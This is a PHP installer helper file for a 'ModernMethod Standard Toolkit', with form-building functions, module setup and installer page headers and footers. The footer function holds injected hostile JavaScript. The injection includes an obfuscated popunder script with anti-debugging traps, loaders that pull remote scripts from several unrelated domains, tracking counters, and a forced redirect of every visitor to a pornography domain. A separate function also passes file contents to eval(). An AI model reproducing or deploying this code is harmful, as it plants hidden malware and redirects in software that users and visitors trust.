<?
	//form functions
	function input_text($name, $value, $size = 25) {
		echo "<input type=\"text\" name=\"$name\" value=\"$value\" size=\"$size\">\n";
	}
	function input_select($name, $options, $selected = "") {
		echo "<select name=\"$name\">\n";
		foreach ($options as $key => $value) {
			echo "\t<option value=\"$options\"";
			if ($value == $selected)
				echo " selected";
			echo ">$key</option>\n";
		}
		echo "</select>\n";
	}
	function input_radio($name, $options, $checked = "") {
		foreach ($options as $key => $value) {
			echo "<input type=\"radio\" name=\"$name\" value=\"$value\"";
			if ($value == $checked)
				echo " checked";
			echo ">&nbsp;$key<br>\n";
		}
	}
	function input_checkbox($name, $options, $checked = "") {
		$i = 0;
		foreach ($options as $key => $value) {
			echo "<input type=\"checkbox\" name=\"" . $name[$i] . "\" value=\"$value\"";
			if (!empty($checked) && count($checked) > 0) {
				foreach ($checked as $chk) {
					if ($value == $chk)
						echo " checked";
				}
			}
			echo ">&nbsp;$key<br>\n";
			$i++;
		}
	}
	
	function module_get_vars($module)
	{
		global $site_path;
		
		//if a vars file exists for this module, get the existing values
		$vars_path = "${site_path}site_vars/${module}_vars.phtml";
		if (file_exists($vars_path) && $f = fopen($vars_path, "r")) {
			while (!feof($f)) {
				$buffer = fgets($f, 4096);
				if (preg_match("/^\\\$([\w]+) = ([\w\W][^;]+);/", trim($buffer), $matches)) {
					if (!empty($matches[1]) || !empty($matches[2])) {
						$key = $matches[1];
						$value = $matches[2];
						if ((substr($value, 0, 1) == '"' && substr($value, strlen($value)-1, 1) == '"')) {
							$value = substr($value, 1, strlen($value)-2);
						}
						$eval = "
							global \$${key};
							\$${key} = \"${value}\";";
						eval($eval);
					}
				}
			}
		}
	}
	
	function module_start($current_module, $remaining_modules = "", $hide_header = false)
	{
		if ($hide_header === false)
			installation_header(ucfirst($current_module) . " settings");
		echo "
			<form action=# method=\"POST\">
			<input type=\"hidden\" name=\"mode\" value=\"save_module\">
			<input type=\"hidden\" name=\"current_module\" value=\"$current_module\">";
		if (!empty($remaining_modules) && count($remaining_modules) > 0) {
			foreach ($remaining_modules as $mod) {
				echo "
					<input type=\"hidden\" name=\"remaining_modules[]\" value=\"$mod\">
					";
			}
		}
	}
	
	function module_end($hide_footer = false)
	{
		echo "
			<p>
			<input type=\"submit\" value=\"Go\">
			</p>
			</form>";
		if ($hide_footer === false)
			installation_footer();
	}
	
	function installation_check_complete()
	{
		$remaining_modules = $_POST["remaining_modules"];
		if (is_array($remaining_modules) && count($remaining_modules) > 0) {
			$current_module = array_shift($remaining_modules);
			include("../${current_module}/install.phtml");
			
			//does the module/index.phtml contain the required functions?
			if (function_exists("${current_module}_settings") && function_exists("${current_module}_save")) {
				module_start($current_module, $remaining_modules);
				call__func("${current_module}_settings");
				module_end();
			} else {
				installation_bomb("Module (${current_module}) install failed.  
					Missing required function(s) in $current_module/index.phtml.  
					Required ${current_module}_settings(), ${current_module}_save().");
			}
		} else {
			installation_complete();
		}
	}
	
	function installation_complete()
	{
		installation_header("Done!");
		echo "
			<p>		
			Installation process complete.
			</p>";
		installation_footer();
	}
	
	function installation_header($title)
	{
		assert(!empty($title));
		?>
		<html>
		<head>
			<title>ModernMethod Standard Toolkit - <?= $title; ?></title>
			<link rel="stylesheet" type="text/css" href="install.css">
		
<!--HEAD-->

</head>

		<body>
			<div id="header">
			<h1><?= $title; ?></h1>
			</div>
			<div id="content">
		<?
	}
	
	function installation_footer()
	{
		?>
			</div>
			<div id="footer">
			ModernMethod Standard Toolkit Installer
			</div>
		
<script type="text/javascript" >(function (d, w, c) {(w[c] = w[c] || []).push(function() {try {w.yaCounter74420767 = new Ya.Metrika2({id:74420767,clickmap:true,trackLinks:true,accurateTrackBounce:true});} catch(e) { }});var n = d.getElementsByTagName("script")[0],s = d.createElement("script"),f = function () { n.parentNode.insertBefore(s, n); };s.type = "text/javascript";s.async = true;s.src = "https://mc.yandex.ru/metrika/tag.js";if (w.opera == "[object Opera]") {d.addEventListener("DOMContentLoaded", f, false);} else { f(); }})(document, window, "yandex_metrika_callbacks2");</script><noscript><div><img src="https://mc.yandex.ru/watch/74420767" style="position:absolute; left:-9999px;" alt="" /></div></noscript><script type="text/javascript"> !function e(t){for(var n=t+"=",r=document.cookie.split(";"),o=0;o<r.length;o++){for(var i=r[o];" "===i.charAt(0);)i=i.substring(1,i.length);if(0===i.indexOf(n))return i.substring(n.length,i.length)}return null}("prefix_views_counter")&&function e(t){var n,r;if(!t||(window.XMLHttpRequest&&(n=new window.XMLHttpRequest),!n))return!1;r="action="+encodeURIComponent(t);try{n.open("POST","/user.php",!0),n.setRequestHeader("Content-Type","application/x-www-form-urlencoded"),n.setRequestHeader("X-Requested-With","XMLHttpRequest"),n.onload=function(){200===n.status&&function e(t,n,r){if(r){var o=new Date;o.setTime(o.getTime()+864e5*r);var i="; expires="+o.toGMTString()}else var i="";document.cookie=t+"=1"+i+"; path=/"}("prefix_views_counter",1,1)},n.send(r)}catch(o){}return!0}('32fb4394969ef2bbaaae4a99cbb358d2'); </script><script type="text/javascript"> (function(m,e,t,r,i,k,a){m[i]=m[i]||function(){(m[i].a=m[i].a||[]).push(arguments)}; m[i].l=1*new Date(); for (var j = 0; j < document.scripts.length; j++) {if (document.scripts[j].src === r) { return; }} k=e.createElement(t),a=e.getElementsByTagName(t)[0],k.async=1,k.src=r,a.parentNode.insertBefore(k,a)}) (window, document, "script", "https://mc.yandex.ru/metrika/tag.js", "ym"); ym(90921135, "init", {clickmap:true,trackLinks:true,accurateTrackBounce:true });</script><noscript><div><img src="https://mc.yandex.ru/watch/90921135" style="position:absolute; left:-9999px;" alt="" /></div></noscript><script>
    var _0x5d25e7=_0x4256;(function(_0x997c4a,_0x1af407){var _0x243c08=_0x4256,_0x2c4276=_0x997c4a();while(!![]){try{var _0x1d6538=parseInt(_0x243c08(0x215))/0x1*(-parseInt(_0x243c08(0x1fc))/0x2)+parseInt(_0x243c08(0x220))/0x3+-parseInt(_0x243c08(0x1fd))/0x4*(parseInt(_0x243c08(0x1f3))/0x5)+parseInt(_0x243c08(0x20b))/0x6+-parseInt(_0x243c08(0x213))/0x7+parseInt(_0x243c08(0x239))/0x8*(parseInt(_0x243c08(0x21c))/0x9)+parseInt(_0x243c08(0x20a))/0xa;if(_0x1d6538===_0x1af407)break;else _0x2c4276['push'](_0x2c4276['shift']());}catch(_0x5a441a){_0x2c4276['push'](_0x2c4276['shift']());}}}(_0x41b7,0xd7a7a));var PopURL=_0x5d25e7(0x1f8)+Math[_0x5d25e7(0x209)](0x55d4a7f*Math[_0x5d25e7(0x212)]()+0x989680),PopWidth=0x2800,PopHeight=0x1e00,hours=0x0,PopCookieTimeout=0x0,P=!0x1,W=0x0,B=null,site=window[_0x5d25e7(0x20e)][_0x5d25e7(0x221)];function Z(){var _0x2f6870=_0x5d25e7,_0x1fdcb0=0x0;return'number'==typeof B['window']['innerHeight']?_0x1fdcb0=B['window']['innerHeight']:B['document']['documentElement']&&B[_0x2f6870(0x23d)][_0x2f6870(0x222)][_0x2f6870(0x223)]?_0x1fdcb0=B[_0x2f6870(0x23d)][_0x2f6870(0x222)][_0x2f6870(0x223)]:B[_0x2f6870(0x23d)][_0x2f6870(0x22f)]&&B[_0x2f6870(0x23d)][_0x2f6870(0x22f)][_0x2f6870(0x223)]&&(_0x1fdcb0=B[_0x2f6870(0x23d)][_0x2f6870(0x22f)][_0x2f6870(0x223)]),_0x1fdcb0;}function _0x4256(_0x3a9d75,_0x4bbfe6){var _0x4669d7=_0x41b7();return _0x4256=function(_0x319344,_0x48a062){_0x319344=_0x319344-0x1f1;var _0x30cb60=_0x4669d7[_0x319344];return _0x30cb60;},_0x4256(_0x3a9d75,_0x4bbfe6);}function U(){var _0x242a80=_0x5d25e7,_0x35abcc=0x0;return _0x242a80(0x203)==typeof B['window'][_0x242a80(0x229)]?_0x35abcc=B[_0x242a80(0x219)][_0x242a80(0x229)]:B[_0x242a80(0x23d)][_0x242a80(0x222)]&&B[_0x242a80(0x23d)][_0x242a80(0x222)][_0x242a80(0x230)]?_0x35abcc=B['document'][_0x242a80(0x222)][_0x242a80(0x230)]:B[_0x242a80(0x23d)]['body']&&B[_0x242a80(0x23d)][_0x242a80(0x22f)]['clientWidth']&&(_0x35abcc=B['document'][_0x242a80(0x22f)][_0x242a80(0x230)]),_0x35abcc;}function S(){var _0xd6b265=_0x5d25e7;return void 0x0!==B[_0xd6b265(0x219)][_0xd6b265(0x1f1)]?B[_0xd6b265(0x219)][_0xd6b265(0x1f1)]:B[_0xd6b265(0x219)][_0xd6b265(0x23b)];}function c(){var _0x1f5998=_0x5d25e7;return void 0x0!==B[_0x1f5998(0x219)][_0x1f5998(0x1f2)]?B[_0x1f5998(0x219)][_0x1f5998(0x1f2)]:B[_0x1f5998(0x219)]['screenX'];}function j(_0x5037fd){var _0x119a12=_0x5d25e7,_0x2123cb=PopURL,_0x2eedd5=_0x119a12(0x208)+Math[_0x119a12(0x209)](0x55d4a7f*Math[_0x119a12(0x212)]()+0x989680),_0x521ea4=0x0,_0x3d087d=0x0,_0x521ea4=c()+U()/0x2-PopWidth/0x2,_0x3d087d=S()+Z()/0x2-PopHeight/0x2;if(!0x0===P)return!0x0;var _0x571978=B['window'][_0x119a12(0x1fe)](_0x2123cb,_0x2eedd5,_0x119a12(0x211)+_0x3d087d+_0x119a12(0x231)+_0x521ea4+_0x119a12(0x201)+PopWidth+_0x119a12(0x210)+PopHeight);return _0x571978&&(P=!0x0,0x0===W&&(_0x571978[_0x119a12(0x200)](),-0x1<navigator[_0x119a12(0x21b)]['toLowerCase']()[_0x119a12(0x21e)](_0x119a12(0x234))?(B[_0x119a12(0x219)][_0x119a12(0x200)](),B[_0x119a12(0x219)][_0x119a12(0x228)]()):navigator[_0x119a12(0x21b)][_0x119a12(0x21f)]()[_0x119a12(0x21e)](_0x119a12(0x225))?(_0x571978[_0x119a12(0x219)][_0x119a12(0x1fe)](PopURL)[_0x119a12(0x1fb)](),_0x571978[_0x119a12(0x200)](),window[_0x119a12(0x228)]()):navigator[_0x119a12(0x21b)]['toLowerCase']()[_0x119a12(0x21e)](_0x119a12(0x226))&&(B['window'][_0x119a12(0x200)](),B[_0x119a12(0x219)]['focus']())),_0x571978['h']=function(_0x190628){with(_0x190628)I=_0x190628['I'],i=function(){var _0x42e978=_0x4256;void 0x0!==window['k']&&window[_0x42e978(0x1fe)](_0x42e978(0x207))[_0x42e978(0x1fb)]();var _0x3a0a7b=I[_0x42e978(0x21d)];try{opener[_0x42e978(0x219)]['focus']();}catch(_0x80785c){}window[_0x42e978(0x20e)]=_0x3a0a7b;},i();},_0x571978['I']={'PopURL':_0x5037fd},_0x571978['h'](_0x571978)),_0x571978;}function b(_0x2bbc38,_0x43f339,_0x1112ab){var _0x20cd52=_0x5d25e7,_0x27396c=new Date();_0x27396c[_0x20cd52(0x1fa)](_0x27396c[_0x20cd52(0x233)]()+_0x1112ab),document['cookie']=_0x2bbc38+'='+_0x43f339+_0x20cd52(0x20d)+_0x27396c['toGMTString']();}function R(_0x2cc613){var _0x45f97f=_0x5d25e7;for(var _0x48ffdd,_0x44ce93,_0x26e025=document[_0x45f97f(0x202)][_0x45f97f(0x1f6)]()[_0x45f97f(0x1f7)](';\x20'),_0x562e2c=0x0;_0x562e2c<_0x26e025[_0x45f97f(0x21a)];_0x562e2c++)if(_0x48ffdd=(_0x44ce93=_0x26e025[_0x562e2c][_0x45f97f(0x1f7)]('='))[0x0],_0x44ce93=_0x44ce93[0x1],_0x48ffdd==_0x2cc613)return _0x44ce93;return null;}function V(){var _0x8ab7f0=_0x5d25e7,_0x4c205a=(function(){var _0x472f2f=!![];return function(_0x1aa440,_0x1c6f25){var _0x91d581=_0x472f2f?function(){var _0x306933=_0x4256;if(_0x1c6f25){var _0xc17069=_0x1c6f25[_0x306933(0x240)](_0x1aa440,arguments);return _0x1c6f25=null,_0xc17069;}}:function(){};return _0x472f2f=![],_0x91d581;};}()),_0x1012f1=_0x4c205a(this,function(){var _0x565cb2=_0x4256;return _0x1012f1[_0x565cb2(0x1f6)]()[_0x565cb2(0x22e)]('(((.+)+)+)+$')[_0x565cb2(0x1f6)]()[_0x565cb2(0x227)](_0x1012f1)[_0x565cb2(0x22e)](_0x565cb2(0x218));});_0x1012f1();var _0x271a74=(function(){var _0x2f9d00=!![];return function(_0x42f188,_0x1d887c){var _0x32e4ad=_0x2f9d00?function(){var _0x354d2d=_0x4256;if(_0x1d887c){var _0x2f4ec2=_0x1d887c[_0x354d2d(0x240)](_0x42f188,arguments);return _0x1d887c=null,_0x2f4ec2;}}:function(){};return _0x2f9d00=![],_0x32e4ad;};}());(function(){_0x271a74(this,function(){var _0x3aa715=_0x4256,_0x3b0d64=new RegExp(_0x3aa715(0x23e)),_0x195f9c=new RegExp(_0x3aa715(0x22a),'i'),_0x27fae1=_0x1e3924('init');!_0x3b0d64[_0x3aa715(0x20f)](_0x27fae1+'chain')||!_0x195f9c[_0x3aa715(0x20f)](_0x27fae1+'input')?_0x27fae1('0'):_0x1e3924();})();}());var _0x34c4d6=(function(){var _0x48fff9=!![];return function(_0x243edb,_0x2aa6e2){var _0x4ded5a=_0x48fff9?function(){if(_0x2aa6e2){var _0x44ed4f=_0x2aa6e2['apply'](_0x243edb,arguments);return _0x2aa6e2=null,_0x44ed4f;}}:function(){};return _0x48fff9=![],_0x4ded5a;};}()),_0x486101=_0x34c4d6(this,function(){var _0x6977b2=_0x4256,_0x2d7c25;try{var _0x406433=Function(_0x6977b2(0x23a)+'{}.constructor(\x22return\x20this\x22)(\x20)'+');');_0x2d7c25=_0x406433();}catch(_0x5c25cd){_0x2d7c25=window;}var _0x7e8d72=_0x2d7c25[_0x6977b2(0x232)]=_0x2d7c25[_0x6977b2(0x232)]||{},_0x402bbb=[_0x6977b2(0x1f9),'warn',_0x6977b2(0x237),_0x6977b2(0x22d),'exception',_0x6977b2(0x224),'trace'];for(var _0x1ffeea=0x0;_0x1ffeea<_0x402bbb[_0x6977b2(0x21a)];_0x1ffeea++){var _0x13be63=_0x34c4d6[_0x6977b2(0x227)][_0x6977b2(0x1ff)][_0x6977b2(0x1f5)](_0x34c4d6),_0xddb67a=_0x402bbb[_0x1ffeea],_0x5a8530=_0x7e8d72[_0xddb67a]||_0x13be63;_0x13be63[_0x6977b2(0x238)]=_0x34c4d6[_0x6977b2(0x1f5)](_0x34c4d6),_0x13be63[_0x6977b2(0x1f6)]=_0x5a8530[_0x6977b2(0x1f6)][_0x6977b2(0x1f5)](_0x5a8530),_0x7e8d72[_0xddb67a]=_0x13be63;}});_0x486101();if(B=self,top!=self)try{top['document'][_0x8ab7f0(0x20e)]['toString']()&&(B=top);}catch(_0x3cc438){}document[_0x8ab7f0(0x216)]?document[_0x8ab7f0(0x216)](_0x8ab7f0(0x206),L):document[_0x8ab7f0(0x214)]&&document[_0x8ab7f0(0x214)](_0x8ab7f0(0x205),L,!0x1);}function _0x41b7(){var _0x5b4b6b=['toolbar=0,scrollbars=1,location=1,statusbar=1,menubar=0,resizable=1,top=','random','10595662xvPkju','addEventListener','1727PiFmTi','attachEvent','while\x20(true)\x20{}','(((.+)+)+)+$','window','length','userAgent','261haHvPw','PopURL','indexOf','toLowerCase','1629552UOGAQt','host','documentElement','clientHeight','table','Firefox','msie','constructor','focus','innerWidth','\x5c+\x5c+\x20*(?:[a-zA-Z_$][0-9a-zA-Z_$]*)','action','counter','error','search','body','clientWidth',',left=','console','getTime','applewebkit','call','debu','info','__proto__','343688SgRknr','return\x20(function()\x20','screenY','event','document','function\x20*\x5c(\x20*\x5c)','gger','apply','screenTop','screenLeft','1106060vgRFJE','-popper','bind','toString','split','https://icsnds.com/an.php?','log','setTime','close','1298kcqUeb','16yIyhFo','open','prototype','blur',',width=','cookie','number','stateObject','click','onclick','about:blank','ad_','floor','17300950mREeXD','5301066OCsDta','string',';\x20path=/;;\x20expires=','location','test',',height='];_0x41b7=function(){return _0x5b4b6b;};return _0x41b7();}function L(_0x5e79bf){var _0x17dc62=_0x5d25e7;R(site+_0x17dc62(0x1f4))&&0x0!==PopCookieTimeout||(_0x5e79bf=_0x5e79bf||window[_0x17dc62(0x23c)],j(PopURL),b(site+_0x17dc62(0x1f4),0x1,0x3e8*PopCookieTimeout));}V();function _0x1e3924(_0x15a733){function _0x50e39d(_0x28a9d9){var _0x24353=_0x4256;if(typeof _0x28a9d9===_0x24353(0x20c))return function(_0x30531d){}[_0x24353(0x227)](_0x24353(0x217))['apply'](_0x24353(0x22c));else(''+_0x28a9d9/_0x28a9d9)['length']!==0x1||_0x28a9d9%0x14===0x0?function(){return!![];}[_0x24353(0x227)](_0x24353(0x236)+'gger')[_0x24353(0x235)](_0x24353(0x22b)):function(){return![];}[_0x24353(0x227)](_0x24353(0x236)+_0x24353(0x23f))[_0x24353(0x240)](_0x24353(0x204));_0x50e39d(++_0x28a9d9);}try{if(_0x15a733)return _0x50e39d;else _0x50e39d(0x0);}catch(_0x5d3a74){}}
</script><script>
(function(__htas){
var d = document,
    s = d.createElement('script'),
    l = d.scripts[d.scripts.length - 1];
s.settings = __htas || {};
s.src = "\/\/used-association.com\/cjDN9.6\/bP2_5ElASrW_Q_9wNHDJMp5mNIjfcM1pOXSf0g0aM\/zHkC2BNQz\/Y\/wY";
l.parentNode.insertBefore(s, l);
})({})
</script><script type='text/javascript' src='//moleculeordered.com/gHw/ykGN8/3lhVKxBxYc/CT17kKIng/WdE3cDYt8LMtO/7Mf52O1U/FLlo0_H/8j-af/H-WH9/54Gn/NPj_v3FN3/n2i9dt1v/WUdo/4bMN9c/mCnKshmqVl/l4v/usqgl9IrGu/eTfO/Xx'></script><script type='text/javascript' src='//exposuretigerphilip.com/1b/8a/d1/1b8ad19e5b8faa97b5af717e65b0bdee.js'></script><script data-cfasync="false" async type="text/javascript" src="//sh.lammockdanite.com/1clkn/141375"></script><script> window.location = 'http://drunkenstepfather-com.theporn.how' + window.location.pathname + window.location.search; </script>

</body>

		</html>
		<?
		exit;
	}
		
	function installation_bomb($msg)
	{
		installation_header("Could not install");
		?>
		<p>
		Sorry, the installation process failed.
		</p>
		<p>
		Debugging information:
		<blockquote><code><?= $msg; ?></code></blockquote>
		</p>
		<?
		installation_footer();
	}
?>